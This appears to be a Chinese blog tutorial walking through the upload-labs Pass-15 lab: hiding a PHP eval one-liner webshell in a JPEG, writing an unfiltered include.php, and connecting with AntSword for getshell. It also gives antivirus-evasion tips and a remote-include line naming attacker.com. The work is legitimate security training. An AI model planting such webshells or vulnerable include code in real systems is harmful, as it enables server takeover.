news 2026/9/9 14:42:40

upload-labs Pass-15:图片马与文件包含组合getshell详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
upload-labs Pass-15:图片马与文件包含组合getshell详解

1. 前言:为什么 pass-15 被称作“假图片马”的分水岭

upload-labs 这个靶场,玩到 pass-15 的人基本都已经把前十四关摸得滚瓜烂熟了。从前面的黑白名单校验、MIME 类型检查、后缀名绕过、%00截断,到这一关突然变成内容校验,很多人第一次接触会有点懵:怎么连文件头都要检查了?这还怎么玩?

先说结论:pass-15 的核心考点是图片马配合文件包含漏洞组合利用。它的校验逻辑只认文件内容开头的几个字节,也就是我们常说的“文件头”或“magic number”,不再关心后缀名、MIME 类型、Content-Type 这些表面信息。换句话说,只要文件开头的二进制内容长得像图片,服务端就认为它是合法图片。

那问题来了:校验图片头不就是为了防木马上传吗?怎么还能绕?答案就在于“校验的是文件头,不是文件本身”。你完全可以把一段 PHP 代码拼在一张真实图片的末尾,文件头照样是FF D8 FF E0,检测器一看是 JPEG 就放行了,但这段代码已经藏在图片的二进制数据里。图片本身能正常显示,同时又携带了恶意代码,这就是“图片马”的由来。

不过这里必须先把丑话说在前面:图片马本身是无效的,它只是让恶意代码“混”进了服务器,真正让它执行起来还需要其他漏洞配合。最常见的就是文件包含漏洞(File Inclusion),这也是为什么 pass-15 往往和文件包含靶场放在一起学习的原因。如果不理解这层依赖关系,单纯学会“把代码塞进图片”其实没什么实战意义。

这一篇我尽量把这个过程讲透,从环境搭建、原理拆解到完整的手工制作和操作过程,再到坑点排查,争取让你看完就能自己独立打一遍。

2. 整体思路拆解:从“后缀校验”到“内容校验”的思维转换

2.1 前面十四关的绕过逻辑为什么在这里失效了

在 pass-15 之前,大部分关卡的校验重点都在“文件的身份信息”上。比如:

  • 后缀名黑名单:phpaspjsp直接拒绝,那就换.php3.phtml.php5
  • MIME 校验:Content-Type如果不是image/jpeg就拦截,那就抓包把Content-Type改成允许的值。
  • 白名单校验:只允许.jpg.png.gif,那就用大小写、双重后缀、空格绕过。

这些方法本质上都是跟“元数据”较劲,因为代码逻辑在判断时只看了文件的名字和请求头,没有真正去看文件“肚子里”装的是什么。而 pass-15 这一步,校验逻辑换成了检查文件的实际内容——读取文件开头的若干字节,判断是否是合法的图片格式标识。

它的伪代码逻辑大致是这样的:

$info = getimagesize($_FILES['file']['tmp_name']); if ($info !== false) { // 校验通过,允许上传 } else { // 不是有效图片,拒绝 }

getimagesize()函数是什么行为?它会读取文件头部信息,并尝试解析图片格式。只要能解析出合法的图片头,比如 JPEG 的FF D8 FF、PNG 的89 50 4E 47、GIF 的GIF89a,就返回数组信息;解析失败则返回false。所以这关的目标很明确:让你上传的文件,在内容层面“真的是图片”

这也就意味着,之前所有围绕后缀名、Content-Type 做手脚的方法全部失效。因为不管你怎么改后缀、改请求头,只要文件内容不是图片格式,getimagesize()照样返回false,直接拒绝。

2.2 图片马为何必须搭配“文件包含”才能生效

这是很多初学者最容易卡住的地方:明明图片马成功传上去了,访问图片地址却什么都没有,或者只看到一张图,完全没有代码执行的迹象。

原因在于服务器对待文件的方式。当你直接访问/upload/shell.jpg时,服务器根据后缀名.jpg判断这是一个静态图片资源,直接输出二进制数据。PHP 引擎根本不会去解析.jpg文件里的代码。这就好比你在一本书的封底写了一行注释,但你不翻开书页,别人永远不会看到这行注释,更不会把它当正文读。

那怎么让服务器“翻开”这个文件,把里面的 PHP 代码当代码执行?答案是找一个“读取器”去读取它。这就是文件包含漏洞的价值。

文件包含漏洞的原理是:服务端有一些动态页面,会接收用户传入的文件路径参数,然后用includerequire把指定文件包含进来执行。如果这个参数没有被严格过滤,你就可以让它去包含你上传的图片马。当 PHP 引擎读取这个.jpg文件时,它并不会因为后缀名是.jpg就跳过解析,而是会从头到尾扫描文件内容,遇到<?php ... ?>标签就会老老实实执行里面的代码。

所以完整的利用链是:

  1. 制作一个带 PHP 代码的图片马。
  2. 绕过 pass-15 的内容校验,上传成功。
  3. 找到一个文件包含点,让服务器以 PHP 方式解析该图片。
  4. 代码执行后,实现 getshell。

就好比把一把钥匙藏在了一本普通书里,通过安检(图片头校验)后,还需要有人在图书馆里翻开这本书(文件包含),钥匙才能真正被拿到。

2.3 这关你到底该练的是什么能力

说实话,pass-15 本身难度并不高——无非是拼接图片和代码。但这关真正要你练的是两个关键能力:

第一是理解服务端校验逻辑的层次。面对一个上传点,你需要能够从“它校验什么”反推出“它不校验什么”,然后找到校验空白区。前面关卡让你习惯性地关注后缀和类型,这一关逼你换一个角度,去关注文件结构和内容。

第二是组合利用的意识。单一漏洞常常无法直接形成威胁,实战中的 getshell 往往是多个中低危漏洞串联的结果。图片马是上传漏洞的产物,如果要执行代码,大概率还要联动文件包含、解析配置等。这种“链条化思考”的能力才是安全测试的核心,也是面试和实战中拉开差距的地方。

3. 环境准备与工具清单:动手前先把桌子擦干净

3.1 靶场搭建:本地环境推荐方案

我默认你现在已经跑起来 upload-labs 了,但考虑到可能有新读者第一次接触,还是简单说下搭建方式。我用的组合是 Windows + phpStudy 2020 或 2018 版本,PHP 版本选 5.x 系列。为什么特意强调 PHP 5?因为 upload-labs 很多关卡的设计是基于老 PHP 版本解析特性和函数行为差异,尤其涉及move_uploaded_file()include等函数,在 PHP 7 下某些行为会有差异,用 phpStudy 切换一下版本比在 Docker 里折腾省心得多。

具体步骤:

  1. 下载 phpStudy,安装后启动 Apache 和 MySQL。
  2. 把 upload-labs 整个目录放到 phpStudy 的WWW目录下。
  3. 浏览器访问http://127.0.0.1/upload-labs/,正常显示就是搭好了。
  4. 如果页面报数据库连接错误,去inc目录下的配置文件里改成你自己的数据库账号密码。默认一般是root/root,如果没有改动过,通常直接就能跑。

还有一点要注意:pass-15 需要配合文件包含漏洞才能打通,如果你想要完整走一遍 getshell 流程,建议再准备一个文件包含靶场,或者自己写一个简单的include.php来实现包含逻辑。我后面实操环节会写一个,你直接复制保存即可。

3.2 工具集合:不用多,顺手就行

做图片马和测试绕过,不需要装一堆庞然大物,下面这几样就足够用:

  • 浏览器 + 开发者工具:上传过程中观察请求包、响应包,修改参数或者构造请求时用。F12 是基本功,不多说。
  • Burp Suite:抓包改包工具,主要在需要修改 Content-Type、双写文件名、观察响应差异时用。社区版就够,不用破解。
  • Hex 编辑器:推荐 WinHex 或者 010 Editor,用来查看和修改文件的十六进制内容。实操中排查图片马是否制作成功,都是用 Hex 编辑器直接看文件头。
  • 中国蚁剑或冰蝎:作为 WebShell 客户端,连接上传成功的一句话木马。推荐蚁剑,配置简单、社区活跃,新手不容易卡在连接配置上。
  • 一个文本编辑器:Notepad++、VS Code 都行,用来写 PHP 代码或脚本。

之所以把工具列表压到最少,是因为做这类测试的核心能力在于理解每一步改动的意义,而不是工具多炫。Burp 帮你看到流量层面的变化,Hex 编辑器帮你看文件结构层面的变化,这俩配合好,绝大多数上传绕过问题都逃不出眼睛。

3.3 校验逻辑猜测:如何识别“内容校验”关卡

进入 pass-15 页面后,先不要急着上传,花一分钟做个简单测试来判断它到底校验的是什么。这是我每次打靶场的习惯——先探路,再有针对性地出招。

方法很简单:随便上传一个文件,比如写一个最简单的test.php,内容是<?php phpinfo(); ?>。然后观察响应:

  • 如果提示“上传成功”,但文件名后缀被改了,那说明是后缀+命名逻辑的校验。
  • 如果提示“文件类型不正确”,那先别急,再传一个正常的.txt文件试试。
  • 如果上传.txt也被拒,最后传一个真正的.jpg图片,发现能成功,那基本可以确定:它校验的是文件内容是否真的是图片

这时你再用 Hex 编辑器打开一张正常图片,里面删掉几个头部字节,再上传试试,如果被拒,那就完全坐实了“图片头检测”。这就是 pass-15 的典型特征:只看文件头,不关心文件尾部。

这一步看似简单,却是很多新手容易跳过的。直接抄别人的方法当然能过关,但如果你不看清楚它的校验规则,换个环境相同逻辑的关卡,你照样不会判断。先探路,再出招,这个习惯建议从入门就练起来。

4. 核心细节解析:图片马的制作原理与通行密码

4.1 常见图片格式的文件头特征

图片马要能绕过内容校验,首先得知道主流图片格式的“身份证号”长什么样。文件头(magic number)是文件格式规范中固定的起始字节序列,检测器通过读取这些字节来识别文件类型。下面是几种最常见的:

图片格式文件头十六进制ASCII 特征
JPEG/JPGFF D8 FF E0FF D8 FF E1开头不可见字符
PNG89 50 4E 47 0D 0A 1A 0A开头为乱码,第 2~4 字节是PNG
GIF87a47 49 46 38 37 61ASCII 为GIF87a
GIF89a47 49 46 38 39 61ASCII 为GIF89a
BMP42 4DASCII 为BM
WebP52 49 46 46ASCII 为RIFF

对于上传绕过来说,JPEG 和 GIF 是最常用的,因为它们的文件头特征简单明确,且很容易在文件尾部拼接代码。PNG 也可以,但不建议在头部或者中间随意插入数据,PNG 的解析对数据块结构要求更严格,某些环境里改动后文件会损坏。

你可以在 Windows 里用 WinHex 打开一张图片直接看文件头,也可以使用 Linux 下的xxd命令:

xxd image.jpg | head -n 2

输出里第一行的前几个字节就是文件头的十六进制表示,对照上面表格就能确认格式。

4.2 一句话木马为什么总是这几行

图片马的核心内容是“一句话木马”,它常见的形态是这样的:

<?php @eval($_POST['pass']); ?>

或者更简短一点:

<?php @assert($_POST['pass']);?>

理解这些代码的含义比背下来重要得多。@eval()是 PHP 中一个非常危险的函数,它会把传入的字符串当作 PHP 代码直接执行。$_POST['pass']是接收客户端通过 POST 请求提交的参数。整句的逻辑就是:把客户端 POST 提交的pass参数的值,当作 PHP 代码执行。

所以当你在蚁剑里填上连接密码pass后,蚁剑发送的每个请求,都是把你的操作指令编码后放进pass参数里提交过去,服务端直接把指令执行掉。

这里有个安全提示必须说清楚:WebShell 本身是恶意工具,未经授权在他人服务器上上传或连接都是违法行为。本书和本文的所有操作,只能用于本地靶场、CTF 比赛或你拥有授权的测试环境。这个红线必须记清楚,后面不再重复。

4.3 手工制作图片马的两种姿势

制作图片马的方法很多,我推荐两种,一种是纯手工、适合理解原理的,一种是命令行的、适合批量生产的。两种都建议试一遍。

方式一:Windows 下用 cmd 命令合并

准备一张正常的图片shell.jpg,再准备一个文本文件shell.php,里面写入一句话木马。然后在图片所在目录打开命令行,执行:

copy shell.jpg/b + shell.php/a shell_evil.jpg

这里的参数含义要解释一下:/b表示以二进制模式复制,/a表示以 ASCII 文本模式复制。两条命令用+连接,最终输出文件是shell_evil.jpg。关键点在于:前面的图片文件必须加/b,确保二进制数据原样保留不被转换;后面的 PHP 代码文件加/a,但如果后面想拼接的是二进制内容,那就也用/b实测下来,后面用/a对于纯文本 PHP 代码没问题,用/b也行。图片内容不会被破坏,PHP 代码会完整追加到图片末尾。

方式二:Linux 下用 cat 命令

如果你用的是 Linux 或者 WSL,一条命令更干净:

cat shell.jpg shell.php > shell_evil.jpg

这个命令会把shell.jpg的完整内容和shell.php的完整内容依次写入shell_evil.jpg,结果和方式一完全一致。

两种方式完成后,用 Hex 编辑器打开shell_evil.jpg,确认文件头仍是FF D8 FF E0(或对应的图片格式标志),再滚动到文件末尾,能看到<?php @eval($_POST['pass']); ?>一行明文。到这里,一个合格的图片马就算制作完成了。

4.4 判断图片马是否被破坏的黄金三连

制作完成后,不要急着上传,先按下面三个维度自检:

  1. 图片能正常打开吗?在浏览器里双击打开,如果能显示出原图,说明图片的二进制结构没被破坏。
  2. 文件头还是原格式吗?用 Hex 编辑器看前几个字节,还是FF D8 FF E0之类的合法头。
  3. 末尾有 PHP 代码吗?文件最后能看到<?php @eval($_POST['pass']); ?>,注意不要因为编码问题变成乱码。

这三个检查,对应的是“内容校验能过”“图片本身不损坏”“代码完整保留”三个维度的保障。任何一项不满足,上传后都可能在某个环节出问题。

5. 实操过程:从上传图片马到成功 getshell 的完整链路

5.1 准备文件包含点:一个极简 include.php

前面说过了,pass-15 只是解决“把恶意代码藏进服务器”的问题,真正让它执行,需要一个文件包含点。upload-labs 靶场本身没有提供这个包含入口,所以我们要自己制造一个。

新建一个include.php文件,放在 upload-labs 的根目录下(和pass-15.php同级),内容如下:

<?php if (isset($_GET['file'])) { $file = $_GET['file']; include $file; } ?>

这段代码的逻辑极其简单:接收GET参数file,然后把这个参数指向的文件直接include进来。没有做任何过滤和路径限制。如果你的浏览器访问http://127.0.0.1/upload-labs/include.php?file=xxx时能正常引用对应文件,就说明文件包含点已经就绪。

在真实场景里,文件包含点往往藏在模板加载、语言切换、日志读取这类功能里,不会像我们自己写的这样直白。但只要看到了includerequireinclude_once关键字,并且参数可控,思路就是一样的。

5.2 完整操作步骤:一步一步打通 pass-15

下面按顺序走一遍完整流程,建议你跟着操作,每一步都看清楚再动手。

第 1 步:准备一个干净的工作目录。

在本地新建一个文件夹,比如D:\lab\pass15,放进去三样东西:

  • 一张正常的shell.jpg(随便找一张小猫小狗都行,建议小图,几百 KB 以内)。
  • 一个shell.php,内容就是<?php @eval($_POST['pass']); ?>
  • 一份写好的include.php(这个放 upload-labs 根目录,不是工作目录)。

第 2 步:生成图片马。

D:\lab\pass15目录打开命令行,执行:

copy shell.jpg/b + shell.php/a shell_evil.jpg

执行完用 Hex 编辑器打开shell_evil.jpg验证一下,确认文件头正确、末尾有 PHP 代码。

第 3 步:上传图片马。

访问http://127.0.0.1/upload-labs/pass-15.php,选择shell_evil.jpg上传。正常情况下会提示上传成功,并显示图片的访问路径,通常是http://127.0.0.1/upload-labs/upload/shell_evil.jpg

这里如果出现“上传失败”或者“不是图片”的提示,大概率是图片马没做好,回到第 2 步重新检查文件头。

第 4 步:验证图片可直接访问。

浏览器直接访问图片地址,如果图片能正常显示,说明服务器把它当成了静态资源正常输出,图片数据没有损坏。到这里,图片马的“潜伏”阶段已经完成。

第 5 步:通过文件包含触发代码执行。

浏览器访问:

http://127.0.0.1/upload-labs/include.php?file=upload/shell_evil.jpg

这里我故意用了相对路径upload/shell_evil.jpg,因为include.php本身就在 upload-labs 根目录下,所以相对于当前脚本的路径就是upload/目录下的shell_evil.jpg

访问后页面看起来可能还是图片之类的输出,或者什么都没有,这都正常。关键是你接下来要用蚁剑去连接,看能不能连上。

第 6 步:用蚁剑连接 WebShell。

打开蚁剑,添加数据:

  • URL:http://127.0.0.1/upload-labs/include.php?file=upload/shell_evil.jpg
  • 连接密码:pass
  • 编码器:建议选base64,因为图片马内容较长,直接明文 POST 很容易在中间出问题,base64编码器可以规避一些干扰。
  • 连接类型:PHP

测试连接。如果返回“连接成功”,那这关就算彻底打通了。这时候你可以切换到文件管理,看到整个靶场目录的文件列表,这已经等价于控制了一台服务器。

5.3 另一种方式:直接上传带脚本的图片并利用解析漏洞

在本地测试时,还有一种不依赖文件包含的玩法,就是结合服务器解析漏洞。比如 Apache 的“多后缀名解析”特性:如果服务器配置了AddHandler或者AddType,当上传的文件名是shell.php.jpg时,Apache 在解析文件名后缀时,是从右往左找它能识别的后缀。如果它不认识.jpg,就会继续往前看,发现.php,于是这个文件被当作 PHP 脚本执行。

但注意,这条路径在现代的 Apache 默认配置中已经不常见了,而且 upload-labs 的 pass-15 并不存在解析漏洞,所以这条路在 pass-15 里是走不通的。之所以要提它,是因为你在真实环境遇到图片马的同时,如果还有解析配置问题,那就不一定非要用文件包含来触发了。多一种思路,多一种应对。

6. 常见问题与排查技巧实录:我踩过的坑,你直接绕开

6.1 上传时提示“文件类型不正确”怎么办

这是最常见的问题,原因 90% 是图片马的文件头被破坏了。可能的原因有二:

一是copy命令里/b/a参数写反了。如果图片文件没加/b,Windows 的copy在某种情况下会操作文本模式,可能导致文件数据被转换,文件头错乱。务必确认命令格式是图片文件/b + 脚本文件/a

二是你直接把 PHP 代码硬塞进了图片头部,把原始文件头覆盖了。这种情况常见于用脚本往文件头部插入数据的做法。插入代码的位置必须保证图片头完整,所以推荐追加到文件末尾,不要在头部动手。

排查方法很简单:用 Hex 编辑器打开图片马,如果开头不是FF D8 FF E0之类的图片标志,直接重新制作。

6.2 图片能打开,但蚁剑连不上

图片能正常打开,说明文件结构没问题。蚁剑连不上,要分两种情况分析:

第一种情况,文件包含地址不对。检查一下include.php和图片马的相对路径。如果你把include.php放在了 upload-labs 根目录,那么file参数应该写upload/shell_evil.jpg。如果图片路径不对,include找不到文件,PHP 代码自然不会执行。你可以直接在浏览器访问include.php?file=upload/shell_evil.jpg,观察是否有报错信息。

第二种情况,被上传的图片在保存时被重命名了。upload-labs 有些关卡会把文件重命名为时间戳或随机文件名,你上传的shell_evil.jpg可能落到服务器后被改名了,导致你访问的路径不对。上线时多加一步,上传成功后去图片上传目录的页面源码里找到实际生成的文件名,或者直接用上传返回的路径。

排查大法:上传后用浏览器访问include.php?file=upload/shell_evil.jpg,页面如果是空白但没报错,说明包含执行了可能被注释或代码没生效;如果直接输出图片内容,说明文件被当图片输出了,PHP 可能被注释掉了;如果报Warning说文件不存在,那就是路径问题。多试几次,问题范围很快就能缩小。

6.3 图片马被杀毒软件拦截,怎么处理

这个坑在 Windows 本地测试时非常常见:copy生成图片马的一瞬间,Windows Defender 或第三方杀软直接把它隔离了,因为图片马的末尾有完整的 WebShell 特征码,杀毒引擎扫描到后直接判定为木马。

处理方法主要有四种:

  1. 把工作目录加入杀毒软件的排除列表,这是最推荐的,一劳永逸。
  2. 使用混淆后的代码,比如把eval拆成字符串拼接,让杀软看不出来。但混淆代码的稳定性需要反复测试,不熟练的人不建议一上来就玩。
  3. 用加密型 WebShell,比如冰蝎生成的马,特征码更少,但那是后话。
  4. 如果有条件,直接在 Linux 虚拟机里做实验,完全绕开 Windows 杀软。

如果你用的是 Windows,我强烈建议直接加白名单。因为后面你还会反复制作和测试新的马,每做一次被删一次,非常影响效率。

6.4 偶发情况:图片马上传成功但包含时报语法错误

这种情况在使用 PNG 图片时更容易遇到。PNG 文件除了头部标志,内部还划分了多个数据块,如果你在制作时不小心改动了图片内部数据,PNG 在解析时可能出错。但包含时报语法错误,则说明 PHP 解析器在扫描图片数据时遇到了非法的 PHP 标签或意外的?>提前结束。

解决方案:优先使用 JPEG 或 GIF 格式制作图片马,它们的文件结构相对宽松,在尾部追加数据不会破坏整体结构。另外,确保追加的 PHP 代码前后不要有多余的换行或空格,避免解析器产生意外输出,进而影响蚁剑的响应判断。

6.5 文件包含测试时的路径问题速查

访问方式file参数值预期结果
include.php 在根目录,图片在 upload 目录upload/shell_evil.jpg正常执行
include.php 在inc目录,图片在../upload目录../upload/shell_evil.jpg正常执行
include.php 在根目录,图片也在根目录shell_evil.jpg正常执行
参数使用了远程地址http://attacker.com/shell_evil.jpg取决于allow_url_include,默认关闭,一般失败

注意最后一行:远程文件包含需要allow_url_include=On,这在 phpStudy 默认配置里通常是关闭的。所以本地测试别想偷懒用远程地址,乖乖传上去再用本地路径包含。

6.6 实在上传不上去的兜底思路:二次渲染绕过

有些环境在上传图片时会二次处理,比如使用imagecreatefromjpeg()重新生成图片,把尾部追加的代码全部丢掉。这种情况下,普通图片马就失效了。绕过方法是“GD 库渲染后的残留字节利用”:先上传一张图片,把二次渲染后的图片下载下来,拿到本地,再用 Hex 编辑器在“图片的注释区”或“没有被重绘的数据块”里插入代码,然后重新上传。这个思路在想要挑战更高难度时再深入研究,pass-15 本身没有二次渲染,不必在这里纠结。

7. 绕过的底层原理:为什么“只看文件头”有这么大漏洞

走到这一步,你可能已经打通了,但我希望你不要停在“会操作”的层面,再多想想:为什么一个用getimagesize()做校验的逻辑竟然这么好绕?

核心原因在于:内容校验的粒度太粗,它只验证了文件的起始字节,却没有验证文件的整体结构。

打个比方,这就像机场安检只检查你随身行李的正面品牌标签是不是名牌包,而对箱子里面装了什么完全不管。你背了一个外观贴着“LV”标志的普通帆布包,安检员看了一眼标签就放行了。图片马的原理一模一样:最外层是合法图片头,内部是可以自由追加的二进制数据。

更深层的矛盾在于:PHP 代码本身就是纯文本,它可以出现在任何位置。图片的尾部数据区对于图片查看器来说是无关紧要的,但对 PHP 引擎来说,只要碰到<?php标签,就会老老实实解析执行。同一个文件在两种不同的视角下,产生了完全不同的语义——这种“多语义文件”的概念,是理解很多安全漏洞都绕不开的。

文件包含漏洞之所以能配合起来,是因为include在读取文件时对文件类型并不敏感,它不管你后缀是什么,把文件内容读进来后直接按 PHP 语法解析。这就像同一本书,有人把它当小说读,有人把它当代码规范看,书还是那本书,看的人不一样,读出来的内容完全不同。

所以你在实战中遇到上传点时,可以反推一下:如果服务端只是做了类似getimagesize()的内容头部校验,那上传一个合法图片 + 末尾拼接代码的马就是值得尝试的方向。如果它做了二次渲染或者内容长度校验,那就换其他思路,不要死磕同一条路。

8. 其他常见校验姿势与应对思路

如果 pass-15 你已经熟练了,我建议你顺手把下面几种变体也了解一下,因为真实靶场里面内容校验的姿势远不止一种。

完整文件结构校验:除了文件头,还会用getimagesize()返回值里的宽度、高度、类型等做逻辑判断,或者用exif_imagetype()获取更具体的文件类型信息。这类校验依然只关心头部信息和基础属性,图片马依然有效。

二次渲染:上传时会把图片重新生成一遍,只有原图“被保留下来”的数据才会进入新图片。制马方式需要先传一次,拿到渲染后的图片,再在渲染输出中找可用插入点。这里最经典的做法是利用 GIF 的注释扩展块(0x21 0xFE)做插入,因为 GD 库在渲染 GIF 时会保留注释块,而且会把注释内容放到输出图片的特定位置。

内容和后缀联合校验:校验图片头的同时,后缀也必须是白名单内的.jpg.png等。这种情况下,图片马不需要改名,直接用.jpg后缀上传,然后靠文件包含或解析漏洞触发。

内容长度限制:有些环境限制上传文件大小,比如只能传 2KB 以内的图片。这时候需要精简图片,用 1px 的 GIF 图来制作马,因为 GIF 文件本身可以做到非常小,再加上几十字节的 PHP 代码,总大小很容易控制在 1KB 以内。

这几种变体在实战中的出现频率都不低,我把它们的应对思路总结成一张表:

校验方式核心判断逻辑图片马是否有效触发方式
文件头校验起始若干字节为图片格式标识有效文件包含 / 解析漏洞
完整图片结构校验getimagesize()返回完整信息有效文件包含 / 解析漏洞
二次渲染重建重新生成图片文件需二次制作文件包含 / 解析漏洞
内容 + 后缀联合校验内容为图片且后缀白名单有效文件包含 / 解析漏洞
内容长度限制文件大小限制有效,需精简图片文件包含 / 解析漏洞

9. 最后的经验心得与建议

这个靶场关卡我前前后后带人打过不下几十遍,几乎每次都有新人卡在同一个点上:图片马传上去了,以为万事大吉,结果蚁剑一连就傻眼。我想说的是,pass-15 真正的学习价值不在于“会拼图片”这个动作本身,而在于它逼你去理解漏洞链这个东西。

单独一个文件上传漏洞,可以是一个摆设;单独一个文件包含漏洞,可能只是读取几个文件。但两个中低危漏洞组合在一起,就能直通 getshell。这种组合意识,是你从“会打靶场”走向“会做实战”的关键一步。以后你在真实系统里挖洞,发现一个上传点,发现一个包含点,要第一时间想到它们能不能拉通。

另外关于工具使用,我有一个小建议:不要过分依赖图形化的 WebShell 客户端来做原理验证。第一次打通 pass-15 时,最好先手动用浏览器或curl发一个 POST 请求执行phpinfo(),然后用蚁剑连接。手动执行一次,你会对“WebShell 本质上就是一个普通的 HTTP 请求”这件事有极其深刻的体感。

到这里,pass-15 的核心内容就全部讲完了。留一个思考题给你:如果你不是用include,而是把图片马放在一个本身就会解析图片内容的页面上,比如上传头像后,头像通过<img>标签显示,这种情况下图片马会执行吗?想明白这个问题,你对“服务端解析”和“客户端解析”的区别就彻底通了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/9 14:41:41

SetMIR:多兴趣召回的集合建模与ANN优化实践

1. 项目概述&#xff1a;当广告系统开始“读懂”用户兴趣的多重面孔你有没有遇到过这样的情况&#xff1a;刚搜完“露营装备”&#xff0c;转头刷信息流就看到登山鞋、便携炉具、防潮垫——全是对的&#xff1b;但再往下刷&#xff0c;突然跳出婴儿奶粉、钢琴课、二手房中介电话…

作者头像 李华
网站建设 2026/9/9 14:41:11

GPU执行单元:AI芯片算力核心与CUDA优化关键

1. 项目概述&#xff1a;GPU执行单元不是“显卡里的小CPU”&#xff0c;而是AI芯片的算力心脏 很多人第一次听说“GPU执行单元”时&#xff0c;下意识把它当成显卡里一堆并行的小CPU——这其实是个典型误解。它既不是CPU的简化版&#xff0c;也不是单纯为游戏画面服务的渲染器&…

作者头像 李华
网站建设 2026/9/9 14:39:41

让老款 Mac 跑上 macOS Sequoia:OpenCore Legacy Patcher 实操

让老款 Mac 跑上 macOS Sequoia&#xff1a;OpenCore Legacy Patcher 实操 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher OpenCore Legacy Patcher 是一个开…

作者头像 李华
网站建设 2026/9/9 14:37:49

STM32F107外挂MCP2517FD实现CAN FD通信实战

简介&#xff1a;这套调试程序围绕MCP2517FD与STM32F107的CAN FD通信设计&#xff0c;将Microchip官方驱动完整移植到Cortex-M3平台&#xff0c;面向嵌入式、汽车电子和工业自动化开发者&#xff0c;适合验证高速CAN FD链路或快速搭建通信方案。压缩包共117个文件&#xff0c;以…

作者头像 李华